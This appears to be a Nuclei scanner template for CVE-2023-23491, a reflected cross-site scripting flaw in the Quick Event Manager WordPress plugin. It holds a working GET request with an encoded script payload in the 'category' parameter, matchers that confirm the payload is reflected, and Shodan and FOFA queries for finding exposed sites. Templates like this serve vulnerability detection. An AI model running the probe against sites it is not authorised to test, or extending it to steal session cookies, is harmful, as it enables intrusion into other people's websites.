id: CVE-2023-23491

info:
  name: Quick Event Manager < 9.7.5 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    The Quick Event Manager WordPress Plugin, version < 9.7.5, is affected by a reflected cross-site scripting vulnerability in the 'category' parameter of its 'qem_ajax_calendar' action.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the category parameter in the qem_ajax_calendar action to steal WordPress user session cookies and execute attacks.
  remediation: Fixed in version 9.7.5 and above
  reference:
    - https://wpscan.com/vulnerability/49178a9d-0500-4e3e-8ea1-6cd4eeda2a4e
    - https://nvd.nist.gov/vuln/detail/CVE-2023-23491
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/JoshuaMart/JoshuaMart
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-23491
    cwe-id: CWE-79
    epss-score: 0.01179
    epss-percentile: 0.63572
    cpe: cpe:2.3:a:fullworksplugins:quick_event_manager:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: fullworksplugins
    product: quick_event_manager
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/quick-event-manager
    fofa-query: body=/wp-content/plugins/quick-event-manager
    publicwww-query: "/wp-content/plugins/quick-event-manager"
  tags: cve2023,cve,wordpress,wp,wp-plugin,wpscan,xss,quick-event-manager,fullworksplugins,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=qem_ajax_calendar&category=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header, "text/html")'
          - 'contains(body, "<script>alert(document.domain)</script>")'
          - 'contains(body, "qem_calendar")'
        condition: and
# digest: 4a0a0047304502201e770a34e09ecd6e5f9eedfd3c6017be8736b3f22e967f8c87eeca16c4bc7d39022100cc5028e2de30563813f2d6b32217a76914f587eb0891fe81312cdf278745edd2:922c64590222798bb761d5b6d8e72950